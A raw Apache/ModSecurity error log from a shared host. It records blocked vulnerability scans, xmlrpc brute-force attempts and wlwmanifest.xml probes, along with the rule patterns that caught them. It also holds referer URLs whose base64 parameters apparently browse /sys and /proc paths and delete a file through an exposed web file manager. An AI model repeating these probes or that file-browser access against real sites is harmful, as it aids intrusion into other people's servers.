https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQyL2RldmljZS9kZXZpY2UvaW5wdXQvaW5wdXQy [Sat Jun 13 18:20:44.707680 2026] [security2:error] [pid 646876:tid 646883] [remote 17.22.253.181:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 181.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z3NyTkdrNlD40tSHAvAAABwQ"] [Sat Jun 13 18:20:44.854768 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6Y2Fwc2xvY2svZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:20:44.855051 2026] [access_compat:error] [pid 646876:tid 646918] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vaW5wdXQyL2lucHV0Mjo6Y2Fwc2xvY2svZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:20:45.169603 2026] [security2:error] [pid 646876:tid 646977] [remote 132.255.164.117:39944] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 117.164.255.132.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "jaidgear.com"] [uri "/xmlrpc.php"] [unique_id "ai3z3dyTkdrNlD40tSHAygAAfGI"] [Sat Jun 13 18:20:45.169776 2026] [security2:error] [pid 646876:tid 647132] [client 132.255.164.117:39944] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "409"] [hostname "jaidgear.com"] [uri "/xmlrpc.php"] [unique_id "ai3z3dyTkdrNlD40tSHAygAAfGI"] [Sat Jun 13 18:20:45.185146 2026] [access_compat:error] [pid 648189:tid 648346] [remote 74.7.227.22:55234] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?del=.ftpquota&p=L3Byb2MvNTMxNDkwL2N3ZA== [Sat Jun 13 18:20:45.185391 2026] [access_compat:error] [pid 648189:tid 648346] [remote 74.7.227.22:55234] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?del=.ftpquota&p=L3Byb2MvNTMxNDkwL2N3ZA== [Sat Jun 13 18:20:45.199385 2026] [security2:error] [pid 648189:tid 648347] [remote 17.246.15.109:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 109.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z3VWSojQL4F7upKCH6AAAk3w"] [Sat Jun 13 18:20:45.396205 2026] [security2:error] [pid 648189:tid 648247] [remote 207.46.13.63:36859] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 63.13.46.207.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.celadondragon.com"] [uri "/content/histanddynasties/content/transliteration/Tang/JinJurchen/content/Shang/content/grammar/EasternJin/SouthernSong/content/transliteration/WesternZhou/content/manual.php"] [unique_id "ai3z3VWSojQL4F7upKCH9gAAiRo"] [Sat Jun 13 18:20:45.399547 2026] [access_compat:error] [pid 646876:tid 646887] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQw [Sat Jun 13 18:20:45.399999 2026] [access_compat:error] [pid 646876:tid 646887] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9zdWJzeXN0ZW0vZXZlbnQ0L2RldmljZS9zdWJzeXN0ZW0vaW5wdXQw [Sat Jun 13 18:20:45.404290 2026] [access_compat:error] [pid 648189:tid 648339] [remote 57.141.14.89:59348] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:45.404624 2026] [access_compat:error] [pid 648189:tid 648339] [remote 57.141.14.89:59348] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:45.469069 2026] [access_compat:error] [pid 648189:tid 648251] [remote 57.141.14.13:29497] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:45.469424 2026] [access_compat:error] [pid 648189:tid 648251] [remote 57.141.14.13:29497] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:45.549608 2026] [security2:error] [pid 646876:tid 646982] [remote 17.241.227.108:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 108.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z3dyTkdrNlD40tSHA1wAAJWc"] [Sat Jun 13 18:20:45.682278 2026] [security2:error] [pid 648189:tid 648403] [client 152.53.169.106:55326] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 106.169.53.152.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "dennis-cooper.com"] [uri "/xmlrpc.php"] [unique_id "ai3z3VWSojQL4F7upKCH_wAAALc"] [Sat Jun 13 18:20:45.749284 2026] [access_compat:error] [pid 648189:tid 648256] [remote 57.141.14.2:28849] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:45.749718 2026] [access_compat:error] [pid 648189:tid 648256] [remote 57.141.14.2:28849] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:45.762306 2026] [security2:error] [pid 648189:tid 648344] [remote 17.246.19.138:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 138.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z3VWSojQL4F7upKCIBQAAynk"] [Sat Jun 13 18:20:45.851547 2026] [security2:error] [pid 646876:tid 647108] [client 152.53.167.143:45796] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "dennis-cooper.com"] [uri "/blog/wp-includes/wlwmanifest.xml"] [unique_id "ai3z3dyTkdrNlD40tSHA4wAAAGQ"] [Sat Jun 13 18:20:45.876108 2026] [access_compat:error] [pid 648189:tid 648314] [remote 57.141.14.109:56952] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:45.876545 2026] [access_compat:error] [pid 648189:tid 648314] [remote 57.141.14.109:56952] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:45.955961 2026] [access_compat:error] [pid 646876:tid 646879] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:20:45.956436 2026] [access_compat:error] [pid 646876:tid 646879] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9pbnB1dDUvY2FwYWJpbGl0aWVz [Sat Jun 13 18:20:46.021410 2026] [security2:error] [pid 646876:tid 647029] [client 152.53.167.143:45810] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "dennis-cooper.com"] [uri "/web/wp-includes/wlwmanifest.xml"] [unique_id "ai3z3tyTkdrNlD40tSHA6QAAABU"] [Sat Jun 13 18:20:46.072772 2026] [security2:error] [pid 648189:tid 648230] [remote 17.241.75.79:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 79.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z3lWSojQL4F7upKCIEQAAoQo"] [Sat Jun 13 18:20:46.196878 2026] [security2:error] [pid 648189:tid 648386] [client 152.53.169.106:55328] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "dennis-cooper.com"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "ai3z3lWSojQL4F7upKCIFAAAAKY"] [Sat Jun 13 18:20:46.366866 2026] [security2:error] [pid 648189:tid 648356] [client 152.53.36.14:59020] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "dennis-cooper.com"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "ai3z3lWSojQL4F7upKCIGQAAAIg"] [Sat Jun 13 18:20:46.493639 2026] [access_compat:error] [pid 646876:tid 646969] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:20:46.494037 2026] [access_compat:error] [pid 646876:tid 646969] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDYvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:20:46.508275 2026] [access_compat:error] [pid 648189:tid 648259] [remote 57.141.14.9:58186] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:46.508714 2026] [access_compat:error] [pid 648189:tid 648259] [remote 57.141.14.9:58186] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:46.532241 2026] [security2:error] [pid 648189:tid 648396] [client 152.53.167.143:45820] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "dennis-cooper.com"] [uri "/2020/wp-includes/wlwmanifest.xml"] [unique_id "ai3z3lWSojQL4F7upKCIIQAAALA"] [Sat Jun 13 18:20:46.556734 2026] [security2:error] [pid 648189:tid 648304] [remote 17.241.219.130:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 130.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z3lWSojQL4F7upKCIJAAA1lI"] [Sat Jun 13 18:20:46.603201 2026] [access_compat:error] [pid 648189:tid 648270] [remote 57.141.14.42:25508] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:46.603673 2026] [access_compat:error] [pid 648189:tid 648270] [remote 57.141.14.42:25508] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:46.786670 2026] [access_compat:error] [pid 646876:tid 646996] [remote 57.141.14.6:59730] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:46.786935 2026] [access_compat:error] [pid 646876:tid 646996] [remote 57.141.14.6:59730] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:46.792131 2026] [security2:error] [pid 648189:tid 648436] [client 152.53.36.14:59030] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "dennis-cooper.com"] [uri "/2019/wp-includes/wlwmanifest.xml"] [unique_id "ai3z3lWSojQL4F7upKCILgAAANc"] [Sat Jun 13 18:20:46.796733 2026] [access_compat:error] [pid 648189:tid 648305] [remote 57.141.14.95:40455] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:20:46.796992 2026] [access_compat:error] [pid 648189:tid 648305] [remote 57.141.14.95:40455] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:20:46.914781 2026] [security2:error] [pid 646876:tid 647072] [client 152.53.36.14:59010] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "dennis-cooper.com"] [uri "/2021/wp-includes/wlwmanifest.xml"] [unique_id "ai3z3tyTkdrNlD40tSHBAAAAAEA"] [Sat Jun 13 18:20:46.984363 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:20:46.984847 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NS9ldmVudDMvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQyL3Bvd2Vy [Sat Jun 13 18:20:46.994016 2026] [security2:error] [pid 648189:tid 648450] [client 78.46.215.1:16900] ModSecurity: Warning. Matched phrase "oBot" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "168"] [id "350001"] [msg "BAD BOT - Detected LOGGING"] [data "301"] [hostname "networkwestmichigan.com"] [uri "/"] [unique_id "ai3z3lWSojQL4F7upKCINQAAAOQ"], referer: http://networkwestmichigan.com [Sat Jun 13 18:20:47.126781 2026] [security2:error] [pid 648189:tid 648425] [client 152.53.36.14:59046] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "dennis-cooper.com"] [uri "/shop/wp-includes/wlwmanifest.xml"] [unique_id "ai3z31WSojQL4F7upKCIOgAAAMw"] [Sat Jun 13 18:20:47.301141 2026] [security2:error] [pid 648189:tid 648371] [client 152.53.169.106:56742] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "dennis-cooper.com"] [uri "/wp1/wp-includes/wlwmanifest.xml"] [unique_id "ai3z31WSojQL4F7upKCIQgAAAJc"] [Sat Jun 13 18:20:47.320488 2026] [security2:error] [pid 648189:tid 648336] [remote 17.246.19.150:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 150.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3z31WSojQL4F7upKCIQwAAwHE"] [Sat Jun 13 18:20:47.468643 2026] [security2:error] [pid 648189:tid 648446] [client 152.53.36.14:59060] ModSecurity: Access denied with code 406 (phase 1). Pattern match "/wp-includes/wlwmanifest\\\\.xml" at REQUEST_URI. [file "/opt/mod_security/hg_rules.conf"] [line "1541"] [id "900920"] [msg "wlwmanifest spam rule"] [hostname "dennis-cooper.com"] [uri "/test/wp-includes/wlwmanifest.xml"] [unique_id "ai3z31WSojQL4F7upKCISwAAAOA"] [Sat Jun 13 18:20:47.502675 2026] [access_compat:error] [pid 646876:tid 646960] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 